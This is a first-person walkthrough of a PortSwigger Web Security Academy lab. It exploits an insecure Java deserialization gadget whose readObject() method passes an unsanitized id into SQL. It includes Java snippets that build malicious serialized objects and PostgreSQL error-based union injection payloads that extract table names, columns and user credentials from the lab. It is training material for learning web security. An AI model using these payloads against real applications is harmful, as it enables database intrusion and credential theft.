| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Insecure Deserialization — Java, Custom Gadget Chain, SQLi via Deserialized Object |
| Difficulty | Expert |
| Objective | Construct a custom gadget chain to obtain the administrator's password, then log in and delete carlos |
| Note | No pre-built tool — requires building the chain from source code found in the app |
Developing a Custom Gadget Chain for Java Deserialization¶
I logged in as wiener:peter and intercepted the /my-account request:
Decoding the session cookie confirmed a Java serialized object (rO0AB prefix):
echo -n "rO0ABXNyAC9sYWIu..." | base64 -d; echo
Inspecting the page source revealed a commented-out link:
<!-- <a href=/backup/AccessTokenUser.java>Example user</a> -->
Navigating up to /backup/ showed a second file: ProductTemplate.java.
The relevant part of ProductTemplate.java:
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
// ...
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
// ...
}
readObject() fires automatically on deserialization and passes this.id unsanitized into a SQL query. This isn't a library gadget chain — the app's own code is the gadget. No ysoserial or phpggc needed; just building a serialized ProductTemplate with a controlled id value is enough. Compilation only requires a stripped-down version without the full DB dependencies — just enough for the class and id field to be serializable:
.
├── data/productcatalog/ProductTemplate.java
├── data/productcatalog/Product.java
└── Main.java
Setting id to a single quote to confirm injection:
ProductTemplate originalObject = new ProductTemplate("'");
javac Main.java && java Main
Pasting the serialized output as the session cookie:
PSQLException: Unterminated string literal started at position 36 in SQL SELECT * FROM products WHERE id = ''' LIMIT 1.
SQLi confirmed. Testing '-- - returned a ClassCastException instead — no SQL error, injection running cleanly.
ORDER BY enumeration found 8 columns. For exfiltration, cast(... as numeric) is a reliable PostgreSQL error-based technique — it forces a type error that reflects the string value in the error message, making it a readable side channel from what's otherwise a blind injection:
ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(version() as numeric),NULL,NULL,NULL,NULL -- -");
ERROR: invalid input syntax for type numeric: "PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4)..."
Column 4 accepts text, PostgreSQL 12.22 confirmed. Using string_agg() — the PostgreSQL equivalent of GROUP_CONCAT() — to pull all table names in a single error-reflected result rather than iterating through them one at a time:
ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, '->') as numeric),NULL,NULL,NULL,NULL from information_schema.tables -- -");
All tables in the error output. Enumerating columns in users:
ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ':') as numeric),NULL,NULL,NULL,NULL from information_schema.columns where table_name='users'-- -");
ERROR: invalid input syntax for type numeric: "username:password:email"
Extracting credentials:
ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username|| ' -> ' || password, ':') as numeric),NULL,NULL,NULL,NULL from users-- -");
ERROR: invalid input syntax for type numeric: "administrator -> tg8okseh8afla24wylnt:wiener -> peter:carlos -> gzrviswdd7yug46p2ghl"
Administrator password: tg8okseh8afla24wylnt. Logging in:
And lab solved